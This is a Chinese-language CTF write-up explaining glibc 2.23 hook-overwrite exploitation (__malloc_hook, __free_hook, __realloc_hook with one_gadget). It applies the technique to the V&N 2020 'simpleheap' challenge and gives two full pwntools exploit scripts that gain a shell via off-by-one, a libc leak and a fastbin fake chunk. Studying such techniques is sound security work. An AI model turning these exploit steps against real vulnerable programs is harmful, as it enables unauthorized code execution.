原理

在调用malloc或者free的时候,如果 malloc_hook 和free_hook的值存在则会调用malloc_hook或者free_hook指向的地址,假设在使用one_gadget的时候满足one_gadget的调用条件,当overwrite malloc_hook和free_hook的时候,便可以getshell,执行malloc的时候,其参数是size大小,所以overwrite malloc_hook的时候使用one_gadget的地址可以getshell。执行free的时候,可以将__free_hook的值overwrite为system的地址,通过释放(/bin/sh\x00)的chunk,可以达到system(/bin/sh)来getshell

  • malloc_hook位于main_arena下方的位置(绝大多时候是-0x10),可以通过fake chunk来overwrite该值实现getshell
  • free_hook 位于libc上_free_hook上,可以通过fake chunk来overwrite该值达到劫持程序流的目的

malloc_hook利用

1
2
3
4
void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0));
  • 利用思路:在执行malloc时,会检测__malloc_hook的值,如果malloc_hook的值存在,将调用malloc_hook指向的地址call rax,如果我们将该值overite 为one_gadget,当程序执行malloc的时候,便可以getshell

free_hook利用

1
2
3
4
5
6
7
void (*hook) (void *, const void *)
= atomic_forced_read (__free_hook);
if (__builtin_expect (hook != NULL, 0))
{
(*hook)(mem, RETURN_ADDRESS (0));
return;
}
  • 利用思路:
    • 通过改写main_arena中的top_chunk的地址,将top_chunk的值改写到free_hook上方指定的位置,通过不断向top_chunk申请chunk,最终可以分配到包含free_hook的区块,从而可以改写__free_hook的值。
    • 通过改写global_max_fast的值,可以在free_hook的上方找到一个足够大包含free_hook的块,当改写了global_max_fast后,向heap申请的块都将按照fastbin来处理
    • 通过unsorted bin attack 在free_hook上方伪造 0x7f大小的chunk,再通过fastbin attack 来修改free_hoook的值

realloc_hook与malloc_hook的联合利用

因为

realloc_hook与malloc_hook 相似是一个弱类型的指针.在调用realloc()函数是会判断realloc_hook的值是否为空,不为空则执行其执行的代码.这是realloc_hook的一种用法。

大多时候在执行onegadget时,并不容易满足限制条件,故而可以利用realloc()来调整栈帧以满足条件

即可以用malloc_hook来指向_libc_realloc()函数内部(即强行调用realloc())然后通过realloc_hook来触发one_gadget.

1
2
3
4
void *(*hook) (void *, size_t, const void *) =
atomic_forced_read (__realloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(oldmem, bytes, RETURN_ADDRESS (0));
1
2
3
4
5
6
7
8
9
10
11
12
13
.text:000000000009AE84 41 57                         push    r15
.text:000000000009AE86 41 56 push r14
.text:000000000009AE88 41 55 push r13
.text:000000000009AE8A 41 54 push r12
.text:000000000009AE8C 49 89 F4 mov r12, rsi
.text:000000000009AE8F 55 push rbp
.text:000000000009AE90 48 89 FD mov rbp, rdi
.text:000000000009AE93 53 push rbx
.text:000000000009AE94 48 83 EC 18 sub rsp, 18h
.text:000000000009AE98 48 8B 05 41 11 15 00 mov rax, cs:__realloc_hook_ptr
.text:000000000009AE9F 48 8B 00 mov rax, [rax]
.text:000000000009AEA2 48 85 C0 test rax, rax
.text:000000000009AEA5 0F 85 35 02 00 00 jnz loc_9B0E0

malloc -> malloc_hook -> realloc -> realloc_hook -> onegadget

我们可以将realloc_hook改为onegadget,然后通过这些push和sub操作”微调”rsp寄存器,使其能够满足在调用realloc_hook(也就是onegadget)的时候满足相应的rsp条件。相应的利用方法就是由传统的直接修改malloc_hook变为先修改realloc_hook为onegadget之后,修改malloc_hook到特定的一个push处或sub处,然后调用malloc便相当于执行了满足条件的onegadget。

此外符号__malloc_hook与__realloc_hook在数据段中是相邻的,realloc在前

__free_hook的位置与前二者不相邻

不过_malloc_hook_ptr和\_free_hook_ptr倒是相邻的

参数也有差异,_malloc_hook与__realloc_hook的参数为申请的chunk的大小

__free_hook的参数则为释放的chunk的地址

v&n2020招新赛simpleheap

核心利用是off-by-one以及unsortedbin attack

程序的漏洞在于其edit函数存在off-by-one,以此来修改下一个chunk的size域

并利用unsortedbin的切割特性来泄露mainarena+88,来得到libc_base

再通过伪造一个fakechunk(可写hook)到fastbins链上,使得两次分配得到该chunk并覆写mallochook和reallochook

不直接覆盖mallochook为onegadget的原因是,四个onegadget的条件都不满足,故只能通过realloc函数来调整栈帧并调用reallochook为one_gadget

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from pwn import *
p = process("./vn")
libc = ELF("/home/aichch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
gdb.attach(p)
def create(size,content):
p.sendafter(b"choice: ",'1')
p.sendafter(b'?',str(size))
p.sendafter(b':',content)
def edit(id,content):
p.sendafter(b"choice: ",'2')
p.sendafter(b'?',str(id))
p.sendafter(b':',content)
def show(id):
p.sendafter(b"choice: ",'3')
p.sendafter(b'?',str(id))
def free(id):
p.sendafter(b"choice: ",'4')
p.sendafter(b'?',str(id))

create(0x18,b'a')
create(0x48,b'a')
create(0x68,b'a')#2
create(0x10,b'a')

payload = b'a'*0x18 + b'\xc1'
edit(0,payload)

free(1)
create(0x48,b'a')
show(2)

leak_addr = u64(p.recv(6).ljust(8,b'\x00'))
log.info("leak_addr:"+hex(leak_addr))
libc_base = leak_addr - 0x3c4b78
malloc_hook = libc_base + libc.sym['__malloc_hook']
log.info("malloc_hook:"+hex(malloc_hook))
realloc_hook = libc_base + libc.sym['__realloc_hook']
log.info("realloc_hook:"+hex(realloc_hook))
realloc = libc_base + libc.sym['realloc']
log.info("realloc:"+hex(realloc))

create(0x68,b'a')#4
free(4)
payload = p64(malloc_hook-27-8)+b'\n'
edit(2,payload)

create(0x68,b'a')
create(0x68,b'a')#5

one = 0x4527a
onegadget = libc_base + one
log.info("one:"+hex(onegadget))

payload = b'a'*11 + p64(onegadget) + p64(realloc+12) + b'\n'#这两个换行很重要,没有换行就会卡住不知道为什么
edit(5,payload)


#gdb.attach(p)
p.sendafter(b"choice: ",'1')
p.sendafter(b'?',str(0x10))


p.interactive()
-----------------------又或者另一个有微小差异的版本--------------------------------------
from pwn import *
context.log_level='debug'
r=process('./vn')
libc=ELF('/home/aichch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def add(size,content):
r.recvuntil(b"choice: ")
r.send(b"1")
r.sendafter(b"size?",str(size))
r.sendafter(b"content:",content)

def edit(idx,content):
r.recvuntil(b"choice: ")
r.send(b"2")
r.sendafter(b"idx?",str(idx))
r.sendafter(b"content:",content)

def dump(idx):
r.recvuntil(b"choice: ")
r.send(b"3")
r.sendafter(b"idx?",str(idx))

def free(idx):
r.recvuntil(b"choice: ")
r.send(b"4")
r.sendafter(b"idx?",str(idx))

add(0x18,b'a')#0
add(0x68,b'a')#1
add(0x68,b'a')#2
add(0x18,b'a')#3 阻断top chunk

edit(0,b'a'*0x18+b'\xe1')
free(1)
#gdb.attach(r)

add(0x68,b'a'*0x08)

dump(2)
leak=u64(r.recv(6).ljust(8,b'\x00'))

print(hex(leak))

#gdb.attach(r)

libc_base=leak-(0x3c4b78)

realloc_addr=libc_base+libc.sym['__libc_realloc']

malloc_hook=libc_base+libc.sym['__malloc_hook']

fake_chunk_addr=malloc_hook-0x23

one_gadget=libc_base+0x4527a

print(hex(realloc_addr))
print(hex(fake_chunk_addr))
add(0x68,b'a'*0x08)# 4与2同时指向0x70
free(4)
edit(2,p64(fake_chunk_addr)+b'\n')#换行依然很重要
#gdb.attach(r)
add(0x68,b'a'*0x08)#4
payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)
add(0x68,payload)#5
r.recvuntil(b"choice: ")
r.send(b"1")
r.sendafter(b"size?",str(0x18))
print(hex(libc.sym['__malloc_hook']))
r.interactive()

运行有小几率会发生段错误